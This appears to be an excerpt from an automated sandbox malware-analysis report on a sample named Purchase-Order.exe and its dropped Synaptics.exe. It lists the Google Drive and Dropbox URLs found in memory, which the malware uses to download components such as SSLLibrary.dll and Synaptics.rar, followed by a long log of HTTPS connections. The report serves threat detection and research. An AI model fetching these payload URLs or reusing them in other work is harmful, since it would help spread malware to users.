Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3070010239.000000003B051000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwi
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadws
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx;u
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxQx
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxSU
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxmW
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady:
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyCkCx
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyQ
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyk
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyk;
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadykG
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyo
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyoP
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyoT
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..Go
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyox
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzex
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.userconten
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.goog
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?D
Source: Synaptics.exe, 00000002.00000002.3069143286.000000003AFA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0Bx
Source: Synaptics.exe, 00000002.00000002.3076603001.000000003B2BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVG
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3080529691.000000003B444000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.00000000005FB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3017903336.000000001D6FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3018933700.000000001D79B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D635000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-CH-UA-
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5SM6
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5SMg
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI?
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKB
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeB
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyo
Source: Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlH
Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50503
Source: unknown	Network traffic detected: HTTP traffic on port 50578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50505
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50507
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50509
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50513
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50519
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50511
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50528
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50529
Source: unknown	Network traffic detected: HTTP traffic on port 50507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50520
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50521
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 50522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50339
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50571
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50573
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50572
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50575
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 443
